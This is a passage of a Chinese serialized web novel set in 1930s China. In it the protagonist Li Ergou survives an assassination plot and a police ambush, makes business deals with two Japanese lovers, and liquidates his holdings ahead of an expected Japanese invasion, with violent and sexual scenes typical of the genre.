正当李二狗准备把刀子插入他的肩膀时,活口吓得连连求饶。 “我没有撒谎,我真的不知道。” 李二狗从他惊恐的眼神里看出他的确是不知道。 买凶杀人,的确不会告诉杀人自己的真实身份。 “事成之后,你们怎么接头?” “如果得手,明天早上六点我们在白渡桥边接头,付尾款。” “暗号是什么?” “对方手里拿一份申报。” 本来李二狗想饶他一条性命,但想到他是日本人,李二狗杀了他两个同伴,事后他们肯定还会来找旧垣结衣报复,绝对不能给他们这个机会,想到此,李二狗便“咔嚓”一声扭断了他的脖子。 旧垣结衣被李二狗的杀伐决断的气质惊得半天说不出话来,这个男人出手实在是太冷血了,和床上的他大相径庭。 “二狗,到底是什么人要杀我?” “如果我猜的没错,应该是井伊商社的人。” “啊!”旧垣结衣失声叫了出来,“他们为什么要杀我?我们可都是日本人啊。” 李二狗没想到旧垣结衣如此单纯,在巨大的利益面前,亲娘老子都可以不认,谁还管你是不是日本人? “一夜八次丸的经销权本来在井伊商社那里,他们恨你们松上商社甚于恨我!” “我要到日本领事馆控诉他们。” “没用的!他们之所以雇凶杀人就是为了防止事情败露,我们现在没有证据!” 旧垣结衣虽然柔弱,但作为松上商社的谈判代表,智商肯定没有问题。 “天亮后,我们去白渡桥边,一定要抓他们一个现形。” 李二狗很担心这件事情是酒井空一手策划的,如果真的是她,自己将如何抉择? 把她抓起来交给日本领事馆? 那等待她的是什么,李二狗心知肚明。 这种事情,一旦败露,井伊商社的高层肯定不会出面营救她,反而会把一切罪责都推到酒井空身上。 可如果对此事不闻不问,旧垣结衣的生命安全将很难得到保证。 这两个日本女人,李二狗都不愿意她们受到伤害。 “你不能去!” “为什么?” “他们要杀的是你,你一露面不就暴露了吗?明天早上六点,我一个人去。” “二狗,你对我真好。” 旧垣结衣扑到李二狗怀里,她确实吓坏了。 “结衣,你先上床,我先把这三具尸体处理了。” “二狗,要不然咱们报警吧?” 李二狗杀了三个日本人,这要是报了警,自己肯定会受到警察的严格审查。 中国太弱,哪怕有旧垣结衣作证,日本政府也会给中国政府施加压力处罚李二狗,毕竟旧垣结衣只是一个商人。 “我徒手杀了三个日本人,报了警会是什么后果,你想过吗?” 旧垣结衣这才醒悟过来。 “对,不能报警!” 第587章 李二狗掉入陷阱 李二狗处理完三具日本人的尸体之后,搂着惊魂未定的旧垣结衣躺在床上,怎么也睡不着。 旧垣结衣小小的身体蜷缩在李二狗怀里,她的身子在不停地发抖,李二狗也没有了继续攀峰探幽的兴致。 两个人就这样静静地躺着,都默契地保持着沉默,一直到天亮。 “二狗,你一个人去太危险了,要不然还是别去了,以后我多注意一些就好了。” 李二狗还是坚持要去。 酒井空可以买凶杀旧垣结衣,以后会不会买凶杀静雯?这些都是无法预料的,他必须亲自去一趟,查明事情的真相。 “放心吧,我不会有事的。” 清晨的白渡桥上,除了偶尔几个行色匆匆的过往路人之外,显得格外冷清。 李二狗戴着一顶黑色的礼帽,刻意遮住了他半张脸。 他暗自观察着周围的一切,果然在白渡桥的一端发现了一个手持报纸之人。 看到对方是个男子,李二狗一直悬着的心才放了下来。 他一直相信,酒井空不是一个阴险残忍的女人。 李二狗走到那名拿着报纸的男子跟前,学着日本人说话的腔调说道:“人昨晚已经杀了!” 男子一直手持着报纸,面无表情地说道:“干的不错,谢谢。” “拿人钱财,替人消灾,这是我们应该做的,钱都带来了吗?” “带来了!你在这里等我一下,我去那边车里拿。” 男子说完就走,李二狗环顾四周,并没有发现周围有停的汽车。 “那个人就是杀人凶手,你们快抓住他!” 李二狗定睛一看,四五个荷枪实弹的巡捕房警察向他冲来。 “他妈的!中计了!” 李二狗一回头,看到身后也有四五个荷枪实弹的巡捕房警察向他冲来。 买凶杀完人,再报警抓凶手,既杀了人还不用付钱,这个日本人真他妈的无耻至极! 赤手空拳的李二狗想硬冲出去绝无可能! 他看了看左右,没有丝毫犹豫,纵身跳进了冰冷的黄浦江中。 “扑通”一声,李二狗消失在水下。 “打枪!打死他!” 巡捕房的警察对着波涛汹涌的黄浦江就是一阵急速的射击。 李二狗早已潜入水底,悄悄游到桥下的一根桥墩下面。 一直等到巡捕房的警察离开之后,李二狗才从水底游了上来。 此时,他已冻得嘴唇发青,浑身抖得像筛糠一般。 爬上岸,一阵冷风出来,他有些站立不稳,身上是刺骨的寒冷。 “他在那边,抓住他!” 原来这些巡捕房的警察并没有离开,只是找了一个地方隐藏起来。 李二狗迈着虚浮的步子向马路对面跑去。 “砰,砰,砰……” 身后枪声大作,其中一颗子弹擦着李二狗的耳朵掠过,击打在他身前的一堵墙上,弹头反弹回来,差点击中他的大腿。 面对十几名警察的追击,李二狗只觉得眼前一晕,差点一头栽在地上。 “抓活的!” 十几个警察奔向李二狗。 就在这万分紧急的时刻,一辆急速驶来的小轿车停在李二狗身边。 “二狗,快上车。” 旧垣结衣打开后座,伸手把李二狗拉进车里。 “快开车!” 司机一脚油门,轿车疾驰而去,子弹噼里啪啦击打在轿车的尾部。 李二狗靠在后座上,脸色苍白,大口大口地喘着粗气。 旧垣结衣拉住李二狗的胳膊,关心地问道:“二狗,你没事吧?受伤了吗?” 李二狗以为自己今天要栽在这群人手里,没想到,危难时刻,旧垣结衣及时赶到救了自己。 “结衣,你怎么来了?” 旧垣结衣泪眼汪汪,眼里满是对李二狗的疼惜。 “我在家不放心你,特意赶来看看,没想到有那么多巡捕房的警察在追你。” 李二狗艰难地伸手拭去她眼角的泪水,安慰道:“谢谢你,结衣,今天要不是你及时赶到,也许我就被那些警察打死了。” 李二狗说话时,身子抖得像筛糠一般,旧垣结衣赶紧脱下自己的衣服披在李二狗身上。 “山本,开快点,去虹口医院。” 李二狗急忙阻止道:“我们现在不能去医院。” 旧垣结衣说道:“你现在的身体状况,不去医院怎么行?你放心吧,虹口医院是我们日本人开的,很安全的。” 李二狗没想到旧垣结衣刚刚吃了亏,却一点也没有长一智。 “你忘了昨晚的事了?” 旧垣结衣这才想起昨晚的暗杀,日租界也不是安全的地方。 “那我们去哪?现在我家也不安全啊。” 李二狗想了想,说道:“去我住的酒店吧。” 李二狗住的沪上酒店并不在租界区,不是巡捕房的势力范围,那里应该是暂时安全的地方。 旧垣结衣虽然不理解,但李二狗说的话她还是十分信服。 “山本,我们去沪上酒店。” 来到沪上酒店,旧垣结衣放了一浴缸热水,亲自为李二狗擦洗身子。 泡在热乎乎的浴缸里,李二狗的身体才慢慢恢复了一些。 “二狗,到底是怎么回事?巡捕房的警察为什么要抓你?” 李二狗深呼一口气,缓缓说道:“哎,怪我大意了,没想到买凶杀人之人提前报了警,他们不仅不想付钱,还想借巡捕房之手杀人灭口,实在是狠毒啊!” “那他们到底是什么人?真的是井伊商社的人吗?” 李二狗本来以为是井伊商社的人干的,但现在他也不能断定到底是不是井伊商社的人所为。“不管他们是什么人,我一定要把他们揪出来!” 旧垣结衣被人暗杀,这是她从来没有经历过的事情,一时也有些六神无主。 “二狗,以后我该怎么办啊?我真的好怕!” 旧垣结衣只是松上商社的一个代表,凶手之所以要暗杀她,很大可能是知晓她与李二狗的特殊关系。 他们以为除掉她,李二狗就不会再与松上商社合作。 很显然,凶手绝对不是陌生人。 思来想去,最大的嫌疑人还是井伊商社。 难道真的是酒井空所为吗? 第588章 手心手背都是肉 “结衣,今天我去和买凶之人接头时,已经告诉他,杀手已经把你杀了,不如你暂时躲避起来,等我查到幕后买凶之人之后,你再现身。” 旧垣结衣想了想,目前这的确是最好的办法。 “好,二狗,我听你的,可是我又能躲到哪里去呢?” “你先回日本吧,货的事你不用担心,我会按时给你们商社发货的。” “二狗,我舍不得离开你。” 经过这件事情之后,旧垣结衣更加依恋李二狗。 “等过了这段时间你再回来,你回到日本之后不要上班,先避避风头再说,井伊商社在日本的势力很庞大,我总感觉这件事和他们有关系。你也不用担心,有我给你的那一成货款,你下半辈子即使不工作也可以衣食无忧了。” “嗯,”旧垣结衣眼含热泪,“我都听你的。” “事不宜迟,你和你们商社的人打电话请假,我马上送你回日本。” 旧垣结衣虽有不舍,但也只能含泪和李二狗吻别。 送走旧垣结衣之后,李二狗马不停蹄地赶回省城,有一件事他必须当场确定。 下了火车,他直奔井伊商社。 和他预料的一样,酒井空果然在商社里。 “二狗先生,你怎么来了?” 从酒井空惊讶的表情中,李二狗断定,她应该并不知晓上海发生的刺杀事件。 当然这也不能排除不是井伊商社所为。 但只要不是酒井空亲自策划参与的,李二狗就有理由说服自己。 “酒井小姐,你认识松上商社的旧垣结衣吗?” 面对李二狗猝不及防的问题,酒井空微微有些吃惊。 松上商社取代井伊商社成为一夜八次丸在日本的总经销商,两家商社如今早已结下仇怨。 而旧垣结衣又是松上商社有名的社交一枝花,这在日本商圈是人尽皆知的事情。 酒井空听到李二狗主动谈起旧垣结衣,心中立马泛起一圈醋意。 “二狗先生和旧垣结衣很熟悉吗?” 李二狗嗅到一股浓浓的醋味。 “之前因为生意上的事情和她接触过两次。”李二狗顿了顿,又特意补充了一句,“不算特别熟悉。” “不算特别熟悉?那就是熟悉,对吧?哼,这也难怪,旧垣结衣可是我们日本有名的交际花,既年轻又漂亮,哪个男人见了不眼馋?” 李二狗心想,我和什么人交往是我的自由,你是我什么人?管得比日本海还宽? “她漂亮与否和我无关,我和她只是谈过两次生意罢了。” “谈生意?呵呵,”酒井空明显不相信李二狗的话,“利润这么丰厚的生意,只谈过两次就一股脑地都给了人家?二狗先生,你这样做生意,是不是太草率了一些?中间就没有发生点故事吗?” 李二狗保持着面不红心不跳的状态。 “酒井小姐这话我就听不明白了,这个生意本来是和谁做的,你我都清楚,最后为什么没有继续合作,其中缘由相信你比我更清楚。” “这……” 酒井空有些语塞,李二狗则继续穷追猛打。 “当时这种药丸在日本市场销售不佳,你们又趁机让我们大幅度降价,不得已,我才联系了松上商社,现在人家把日本市场做起来了,一夜八次丸也成为了日本成市场最火爆的药品,你们又眼馋了?” 酒井空无言以对。 实际上,当时这种药丸在日本国内销售火爆,可日本总社却私欲膨胀、自作聪明,对吴氏制药厂隐瞒销售真相,趁机大幅压低进货价格。 对此,酒井空是坚决反对的。 可她人微言轻,根本无法阻止日本总社的行为,最后痛失巨大的日本市场。 “二狗,其实我们井伊商社一直非常渴望与吴氏制药厂继续合作。” 酒井空再次使出了温柔的杀手锏,她主动靠近李二狗,玉手轻轻抚摸着李二狗的胸膛。 李二狗一阵心痒。 “小空,实不相瞒,我们和松上商社签订的是三年合约,至少在三年内,我们是无法合作的。” 酒井空的玉手停在李二狗的胸口,他能明显感受到她的颤抖。 三年!人生能有几个三年?! 酒井空等不了,她也等不起。 “二狗,你就想想办法帮帮我嘛,日本总社总是在催促,我压力很大的。” 李二狗无论做生意还是做人,最讲究的就是信用,他不能违背自己做人的根本。 再说,如果自己主动违约,赔偿违约金事小,旧垣结衣那边又该如何交待呢? 手心手背都是肉,李二狗确实难以抉择。 但李二狗毕竟不是普通人,他的狗点子非常多。 “小空,你们井伊商社是怎么对我的,相信你很清楚。” “二狗,你听我解释……” 酒井空忙着要解释,李二狗抬手制止了她。 “你不用解释,你是你,你们商社是你们商社,我做什么,都是看在你的面子上,不然我怎么可能会高价购买你们商社恶意囤积的淫羊藿?” “二狗,你对我实在是太好了。” 酒井空忍不住亲吻了李二狗,李二狗热烈地予以回应。 两人抱着互啃了许久,一直到有窒息的感觉,两人才不得不停下来。 酒井空没有忘记正事,她舔了舔满是李二狗口水的嘴唇,问道:“二狗,你愿意和我们合作了是吗?” 李二狗笑了笑,突然感觉有一种现场做交易的感觉。 “合作可以,但不是日本市场。” 酒井空的笑容还没有展现出来就消失了。 “二狗,我们真的很需要日本市场,你就答应和我们合作吧,好吗?我一定会好好感谢你的。” “小空,真的不行!违约的后果是很严重的。” “违约金是多少?我们井伊商社来出。” “一百万!大洋!” 酒井空惊呆了!这样一个天文数字足以吓退任何想合作的人! 当然,这只是李二狗随口胡诌的数字。 其实违约金只有一万大洋,这是李二狗特意要求的,他做任何事情都会给自己留一条后路。 “二狗,你就帮帮人家嘛,好不好?” 其实李二狗心中早已有了主意,不然他不会贸然答应酒井空。 第589章 把药丸卖到欧美 “小空,其实这个世界很大,你们为什么只盯着日本这么一个巴掌大的地方呢?” 酒井空闻言,立即有一种醍醐灌顶的感觉。 “二狗,你是说中国市场?” 李二狗苦笑道:“中国市场确实非常大,但目前中国老百姓连温饱问题都没有解决,人口虽然多,但市场体量很小。我知道,你们井伊商社在日本和欧洲也有分社,为什么不把生意拓展到欧美市场呢?那里才是富人的天堂。” 酒井空疑惑地问道:“欧美男人个个都是人高马大、体壮如驴,他们也需要这种药丸吗?” 李二狗不禁哑然失笑。 “越是身强体壮的人,可能身子越是虚,男人嘛,总是有力不从心的时候。” 酒井空激动的几乎要跳起来,她一直以为只有身材矮小的日本男人才需要这种壮阳的药丸,没想到阳而不举、举而不硬却是全世界男人的通病。 欧美那么多国家,如果能打开欧美市场,井伊商社将会成为世界级的大商社。 酒井空依偎在李二狗怀里,极尽温柔之能事。 “二狗,那这一次你一定要把一夜八次丸在欧美市场的独家经销权给我们井伊商社。” 李二狗微微一笑,他疼女人,但不会惯着女人。 “独家经销权可以签给你们井伊商社,但进货价绝对要听我们的,这是我们两家合作的底线。” 酒井空知道李二狗是个顺毛狗,绝对不能和他顶着干,否则吃亏的肯定是自己。 “好,二狗,人家都听你的,那就按以前的进货价吧,我们不再要求你降价了。” 李二狗再次被酒井空逗笑了,这个女人绝对没有旧垣结衣那般单纯。 “小空啊,你可真会开玩笑。以前淫羊藿是什么价?现在又是什么价?而且因为淫羊藿价格的奇异走势,导致其他中药材的价格也跟着水涨船高,如果还按原来的价格,我们吴氏制药厂根本无利可图。” 因为恶意囤积淫羊藿的事情,酒井空自知理亏。 “那价格再上涨多少?二狗,看在我的面子上,就在原来价格的基础再上涨一成好不好?这样我也好和日本总社那边交代。” “一成?呵呵,你打发要饭的呢?至少得上涨一倍。” 酒井空听得目瞪口呆,她没想到,李二狗竟敢翻倍,心简直太黑了。 “二狗,涨一倍?我这怎么和日本总社汇报啊?我这……实在是太为难了。” 李二狗知道一夜八次丸在日本市场的销售价格,即使供货价上涨一倍,他们还是会有数倍的利润。 而且欧美市场消费水平更高,销售价格还可以继续上涨。 对于那些有钱的外国人来说,只要效果理想,价格肯定不是问题。 “小空,我们中国有句古语,叫春宵一刻值千金,为了男女那点事,有的是愿意挥金如土的人,你们的利润肯定很丰厚。” “可……” 酒井空还是有些为难,对此,李二狗早有对策。 “小空,我知道你一个女人漂洋过海到中国打拼很不容易,你以为涨的这些钱都是我自己的吗?” “啊?” 酒井空有些不解地看着李二狗,不是你自己的,难道还是我的不成? “我会在上涨的这部分钱当中专门拿出一成给你个人。” 酒井空简直难以相信自己的耳朵,李二狗竟然愿意拿出一成的钱给自己?这怎么可能? “二狗,你可不要骗人家啊!” “我骗谁也不会骗你!” “可要是让日本总社知道了怎么办?” “你放心,我们就按正常的价格签订合同,给你的那一成我会私下再给你。” 酒井空流下了激动的泪水,她没想到李二狗竟会如此待她,也不枉她在床上毫无保留地付出。 “小空,女人毕竟是女人,什么事业、男人都是靠不住的,只有大洋才是实打实的,有了这些钱,你下半辈子也就衣食无忧了,我也就放心了。” 酒井空认为李二狗比大洋更加可靠,她再次扑到李二狗怀里。 真没想到,她以前还想方设法地去害他,没想到如今他却这样对待自己。 她恨自己的无知和愚昧。 李二狗伸手抚摸着她的头发,头上散发出来的那股茉莉花香正是他最喜欢的味道。 “小空,以后做事情的时候一定要想一想后果,别让自己陷入危险境地,只有安安稳稳地活着,才能享受更加美好的生活,你说我说的对吗?” 此时的酒井空已经完全被李二狗征服。 “二狗,以后我都听你的,我是你的女人,是你一个人的女人。” 李二狗如此刻意地拉拢酒井空,其实他也有自己的主意。 “小空,这次我只能和你们井伊商社签订一年的合约。” 酒井空听到签订一年的时间,顿时惊出一身冷汗。 “一年?一年太少了,二狗,我们至少也得签订三年合约。” 李二狗很有自信地说道:“等我和你说完我的计划,恐怕你会觉得一年都有些多。” 李二狗接二连三地给酒井空惊喜,令她对李二狗接下来要说的计划充满了好奇。 “什么计划?你快告诉人家嘛。” “我们签订这份合同的时候,我会向井伊商社提出一个特别要求,就是让你担任井伊商社在欧美市场的总负责人。” 听到李二狗在为她谋取更大的职位,酒井空自是非常欣喜。 “我的能力能行吗?我只会一些简单的英文。” “你当然可以,小空,一年的时间足够你熟练掌握英文了。” “二狗,让我担任欧美市场的负责人和只签订一年的合约又有什么联系呢?” 李二狗神秘一笑。 “我先问你一个问题,你要如实回答我。” “好。”酒井空郑重地点了点头。 “你愿意一辈子都给井伊商社打工吗?你难道就从来没有想过有自己的一份事业吗?” 这个问题直击酒井空的灵魂,不想成为老板的打工人绝对不是一个好女人,酒井空当然也不例外。 第590章 未雨绸缪 酒井空毫无隐瞒地回答道:“我当然想,做梦都想,可……这件事哪有想象的这么简单啊?” 李二狗知道酒井空肯定会如此回答,一切都在他的预料之中。 “小空,现在就有一个千载难逢的机会放在你眼前,就看你能不能抓住了。” “什么机会?”酒井空急切地问道。 “你利用这一年在欧美任职的时间,熟悉欧美市场的方方面面,等一年之后,我们俩就联合成立自己的公司,到时候我会把一夜八次丸在欧美市场的独家经销权给你来经营,自己给自己打工,它不香吗?” 李二狗的这个主意完全击中了酒井空最敏感的位置,她顿时有种全身战栗的愉悦感。 这相当于李二狗把大把的钞票直接装进了她的口袋。 “二狗,你这个主意太伟大了!我爱死你了!” 酒井空惊喜之后,突然觉得在李二狗面前不应该表现的如此兴奋。 “二狗,其实我不想离开你去欧美,我想天天和你在一起。” 天天在一起,李二狗可不愿意! “小空,两情若在久长时,又岂在朝朝暮暮,我们还年轻,要以事业为重啊。” “二狗,可欧美国家离中国实在是太远了,其实咱们俩完全可以联手在日本开疆拓土,没必要非要跑到欧美去开拓市场啊。” 酒井空的想法,李二狗不是没有考虑过。 但日本是一个军国主义国家,每一个商社背后都有一股势力庞大的力量。 这股力量有的甚至可以影响国家的决定。 仅凭酒井空这样一个势单力薄的女人,根本无法在日本立足,还很可能会为此丢掉了自己的性命。 另外,欧美国家普遍富裕,人民生活水平高,市场前景将会十分广阔,李二狗舍不得放弃这个富矿。 “小空,你们井伊商社背后的井伊家族,你了解吗?” 酒井空点了点头。 “井伊家族起源于藤原北家,在平安时代逐渐发展成为武士势力。在镰仓时代,井伊家族被认为是源赖朝麾下的天下八介之一,成为有力领主。后井伊家族倒向德川一族,得到了德川家康的关照和支持。在江户时代,井伊家族成为了最显赫的政治世家之一,他们在幕府中担任重要职务,并在1603年德川家康就任征夷大将军后正式升任为江户幕府的谱代大名。日俄战争时期,井伊直虎立下大功,被封为侯爵,是当下日本最显赫的家族之一。” “你想一想,这样的家族你得罪的起吗?” “我……我得罪不起!” “所以,我们只能去欧美市场打拼!” “二狗,人家就是舍不得你嘛。” 李二狗知道酒井空虽然对自己有一定的感情,但现在的眼泪也有很大一部分是演戏的成分。 他之所以一定让酒井空去欧美,还有一个关键的考虑。 如今中日关系越来越紧张,李二狗判断,三年内,中日之间一定会有一战,而且是你死我活的那种战争。 酒井空作为土肥原贤三精心培养的特务人员,如果她一直留在中国,一旦战争爆发,李二狗和她将会成为敌人,这是李二狗万万不能接受的。 所以,这次他一定要借助井伊家族的力量把酒井空调往欧美。 其实李二狗也舍不得酒井空离开,但又不得不让她离开。 酒井空见李二狗沉默不语,再次柔声道:“二狗,人家就是不想走嘛。” 李二狗过往丰富的阅历告诉自己,安慰一个女人最好的办法就是让她在床上欲仙欲死! “二狗,不要!……” “不要停……” 征服了酒井空之后,李二狗和井伊商社顺利签订了一年的合约。 酒井空依依不舍地离开中国,告别李二狗,前往欧洲。 日本和欧美两大市场巨大的消费潜力,让李二狗在一年不到的时间内又连开三家制药厂,仅凭一夜八次丸这一个产品的收入,吴氏集团就积累了大量的财富。 “二狗,我这段日子总是睡的不安稳。” 静雯刚刚和李二狗完成了一次红脸出汗的过程,躺在他怀里,一副心事重重的样子。 李二狗从刚才静雯床上的表现也感觉到她有心事。 “静雯,你怎么了?有什么心事吗?快点告诉我。” “哎,二狗,最近咱们挣钱太多了,我心里总是觉得不真实,感觉这一切都有些虚无缥缈。” 李二狗知道,静雯这是被钱多愁得。 人就是这样,没钱的时候愁,钱多了也愁。 其实李二狗也有这方面的担忧。 目前,中日在华北地区的冲突越来越频繁,中日之间在不久的将来必有一战,而且这次战争的时间会相当长。 李二狗判断,这场战争至少得打八到十年的时间,中国才有可能彻底战胜日本。 八到十年的时间,足以物是人非。 凭李二狗对日本人的了解,他们所到之处,肯定会烧杀抢掠、无恶不作,而华北地区肯定会是首个战场,它受到的破坏肯定也会首当其冲。 到时候,华北地区全部沦陷是板上钉钉的事实! 一夜八次丸在日本家喻户晓,一旦日军占领了华北,吴氏制药厂将成为他们掠夺的首要目标。 钱可以带走,可这些工厂怎么办? “静雯,我有件事正想和你商量。” 静雯抬头问道:“什么事?” “干爹自从去了香港之后就音讯全无,也不知道他现在怎么样了?” 静雯深有同感。 “是啊,关键是连个电话都不往家里打,这实在是太蹊跷了。” 两人心中都有一种不祥的预感,但谁都不愿意承认这个现实。 “静雯,干爹留下这么大一份家业给咱们,咱们如果不能确保它的安全,就应该趁着现在还值几个钱,赶紧找几个好的买家卖了吧。” “卖了?”静雯震惊不已,“这可是干爹一辈子的心血啊。” “就因为是干爹的心血,咱们才更应该妥善处理,我总感觉日本人要打来了!” 随着局势的紧张,静雯也有同感。 第591章 完美布局 静雯虽然心里和明镜一般,可还是下不了最后的决心。 “二狗,干爹挣下这么一份家业不容易,如今他杳无音讯,咱们要是私自做主都给卖了,到时候干爹回来会不会埋怨咱们啊?我看咱们还是再等一等吧?也不必急在这一时啊。我看日本人一时半会儿还打不过来。” 做任何事情,最忌讳的就是拖! 今天拖明天,明天拖后天,后天可能就要坏事。 李二狗做事的原则一向就是想好了立马就干,绝不拖延! “静雯,干爹能不能回来咱们暂且不说,我就问你一件事,如果将来日本人占领了省城,强占了咱们的工厂,如果他们用刺刀逼着咱们为他们生产战略物资,你能答应吗?” 静雯斩钉截铁地说道:“当然不能答应,那不成汉奸了吗?咱们绝不能当汉奸!” “对啊,咱们绝对不能当汉奸!可如果咱们不答应他们,咱们一个都活不成!日本人就是一群杀人不眨眼的畜生!到时候,咱们怎么办?慷慨赴死吗?” 静雯瞬间红了眼眶。 当汉奸不愿意,死更不愿意! 如果为了活着选择当了汉奸,那会比死还难受! 静雯更知道,李二狗宁肯选择死也绝对不会当汉奸! 她绝对不能让李二狗面临这种选择! 可想到自己管理了这么久的产业都要卖给他人,静雯心里便翻江倒海。 “二狗,你说的这些我都懂,可我就是舍不得!它们就像我的孩子一样,谁舍得卖自己的孩子啊?真的就没有其他办法了吗?” 李二狗继续晓之以情,动之以理。 “静雯,现在咱们制药厂挣的钱已经远远超过其他产业挣的总和,能出手就出手吧,只有未雨绸缪,未来才能立于不败之地啊。” 静雯想了想,觉得李二狗的话确实很有道理,这个男人总有一种预知未来的能力。 “那这么多产业,咱们卖哪一些?” 李二狗没有丝毫犹豫,其实他内心早就想好了。 不管静雯同不同意,他都会卖! “除了几个制药厂不卖之外,其他的产业,只要价格合适就全部卖掉。” 静雯闻言不免吃了一惊,这是崽卖爷田不心疼啊! “全部卖掉?这些产业虽然没有制药厂的利润丰厚,但也不少挣,咱们是不是再等一等?” “就因为有利润,现在才好出手啊,真等到局势恶化的时候,再想出手还有谁会买?做生意的没有一个是傻瓜!” 李二狗考虑得的确很周详。 先前,吴氏制药厂已经停止了所有其他药品的生产,昼夜只生产一夜八次丸。 说白了,一夜八次丸最值钱的就是配方,制药厂本身根本不值几个钱,其实就是一些包装车间罢了。 到时候,日本人即使真打过来了,带上配方、扔下工厂就可以轻松撤离。 日本人占领了这些工厂,也只是得到了一些空荡荡的车间罢了,根本没有任何使用价值。 趁着值钱的时候把其他产业都卖掉,这无疑是上上之策。 见李二狗如此坚决,静雯也不好再坚持,因为这些产业本来就是吴有德留给李二狗的。 “好,那我明天就去联系买家。” 静雯想了想,又问道:“二狗,百乐门大舞厅也卖掉吗?” 百乐门大舞厅是省城的地标性娱乐场所,李二狗也是在那里第一次遇见的静雯。 那是一个带给他无限回忆的地方,也是静雯梦开始的地方。 两人都有些舍不得。 “其实百乐门大舞厅也不值几个钱,就交给我来处理吧。” 静雯默默地点了点头,她懂李二狗的心思。 “静雯,这几年咱们光制药厂就挣下很多钱,再加上这次卖产业的钱,数量太庞大,一定不能存在中国的银行里,光贬值不说,还不安全。” “哪存到哪里?” “我都想好了,咱们把一半的钱分别存到上海或者香港的英国渣打银行、汇丰银行,还有美国的花旗银行里,然后再用另一半的钱购买一些黄金也存在这些银行里,静雯,乱世的黄金,一旦战乱起来,黄金才是最值钱的。” 静雯这回彻底服了! 她没想到,李二狗平时貌似根本不过问具体的事情,但他对未来的谋划却是如此的长远、如此的有远见。 跟着这样的男人,无论是盛世还是乱世,肯定都可以安然无忧。 “二狗,有你真好。” 李二狗的谋划远不止如此。 “静雯,我想在上海的租界区购买几栋别墅,以备不时之需。” 李二狗去上海的时候,知道上海这些租界区相当于外国人的领土,即使中日开战,日本人也绝对不会轻易打进租界区。 在不同的租界区买下几套别墅,一旦战事紧张,李二狗就可以把和自己亲近的人都安排到上海租界区的别墅居住,这样至少可以保证人身安全。 静雯没想到李二狗考虑得如此周全,这辈子跟着他算是跟对人了。 “好,二狗,我都听你的。” “静雯,等咱们把这些产业都卖了之后,我想亲自去一趟美国。” “去美国?你去美国干什么?听说美国在地球的另一端,可远了。” “正因为美国在地球的另一端,国土两侧又全是大洋,所以我分析,即使以后全世界都发生战争,美国也会安然无恙,所以我想提前在美国部署一些产业,如果以后真的在中国待不下去,咱们可以移民到美国去。” 李二狗这一步的谋划不可谓不高,其深谋远虑的能力已远超吴有德。 即使在美国找不到合适的产业投资,先购置一些房产等着升值也是一个绝佳的选择。 “好,到时候我陪你一起去。” 解决了这一切后顾之忧之后,两人的心情也舒畅了很多。 李二狗的身体又躁动起来。 “静雯,刚才有些没尽兴,咱们再来一次吧?” “不行!”静雯嘟着小粉唇,“必须三次!嘻嘻。” 又是一个炮声隆隆、尖叫声不断的夜晚。 第592章 李师师呆若木鸡 日落之时,李二狗来到百乐门大舞厅。 舞厅内依旧是流光溢彩、歌舞升平,男男女女不管认识的还是不认识的,都把身子紧紧地贴在一起,只有这里才能让他们暂时忘却白天的各种烦恼。 从西湖歌舞几时休到商女不知亡国恨,无论是太平盛世还是战火纷飞,醉生梦死永远是一些人生活的主旋律。 有需求就会有市场,所以歌舞厅无论在任何时候都是一项挣钱的买卖。 “狗哥,你可有些日子没来了。” 李师师在舞厅一个角落里看见李二狗,赶忙扭着纤细的腰肢迎了上来。 自从静雯掌管整个吴氏企业之后,百乐门大舞厅就全部交给了李师师打理。 长袖善舞的她,如今已有省城第一交际花的美誉。 她的容貌虽未有大的变动,甚至眼角多了几处皱纹,但身材和气质却有了长足的进步。 李二狗这次见到她,也有一种怦然心动的感觉。 对于李师师,李二狗有一种特殊的情愫。 两人之间虽然没有更深层次的交流,但彼此都视对方为很了解自己的人。 颇有当年孔老夫子见南子时的风范,发乎情而止于礼。 “师师,想我了?”李二狗故意调侃道。 “当然啦!”李师师毫不掩饰对李二狗的思念之情,“哎,谁叫我命苦呢?总是控制不住对你的思念,其实单相思是最痛苦的。” 李二狗想她不一定是真,但她想李二狗肯定不假。 “我都感受到你对我的思念之情了,难道你就没有感受到我对你的思念之情吗?” “真的吗?”李师师兴奋地挺了挺胸前两个硕大的胸脯子,抖动起来就像两个装满水的气球,“你真的有想我吗?” “我一直都把你放在心里,不信你进来看看?” 不管李二狗的话是真还是假,李师师都会当作真话来听,也许这就是女人的通病。 “你今天是吃了蜂蜜来的吗?嘴怎么这么甜?” 李二狗目光灼灼地盯着李师师的眼睛,挑逗道:“我吃了什么,你亲自尝尝不就知道了?” “嘁……”李师师撇了撇嘴,“净会逗人家,来真的你又不敢?光过嘴瘾有什么意思?” 每次和李师师调调情,李二狗的心情都会变得格外舒畅,这就是李师师的独特魅力所在。 这个女人天生就是干歌舞厅的材料。 李二狗收起笑容,一脸严肃地说道:“好了,不逗你了,咱们去你办公室吧,我有事和你商量。” 李师师知道李二狗严肃的时候就是有正经事的时候。 “什么事啊?说得这么郑重?你可别吓我啊!” “你现在的胆子,就是天塌下来也不会怕吧?哈哈,走吧,咱们上楼说。” 进入李师师办公室。 “师师,把门关上。” 李师师一愣,随即问道:“还插吗?” 李二狗忍不住笑道:“那得看你让不让了?我时刻准备着,哈哈!” 李师师顿时羞得双颊通红,她已经好久没有这种害羞的感觉了。 “你……讨厌死了!” 李师师最后还是没有插门,她知道,自己的办公室,如果没有经过她的允许,任何人都不敢直接闯入。 她用自己的钧窑杯子给李二狗泡了一杯蜂蜜水。 “天干物燥的,喝点蜂蜜水润润嗓子吧。” 李二狗没有丝毫犹豫,接过杯子就喝了一口。 “这蜂蜜的味道不错,应该是甘肃的槐花产的。” 李师师笑道:“你这嘴啊,可真刁!这都能尝出来。” 李二狗喝完把杯子递给李师师,李师师接过也很自然地喝了一口。 彼此都表现的很自然,恰恰说明他们之间有着不一般的关系。 “狗哥,你要和我说什么事?” 李二狗指了指自己旁边的沙发。 “你先坐下。” 李师师还从来没有见过李二狗如此郑重地和自己谈话。 她坐下后,也收起了脸上的笑容。 毕竟她只是一个打工妹,而李二狗才是真正的老板。 “师师,在百乐门干的还舒心吗?” 李师师没想到李二狗如此郑重,问的问题却是这么随意,有什么为难的事情让他如此不好开口吗?非得用这种话来铺垫? 难道他想辞退自己? 想到这,李师师不由得一阵紧张,她舍不得百乐门。 “舒心啊!狗哥,你怎么突然问我这个问题?” 李二狗已经从李师师刚才的反应中猜出她心里的大致想法。 “师师啊,你如果说不舒心,那我就很好做决定了,但你说舒心,这就让我有点为难了。” 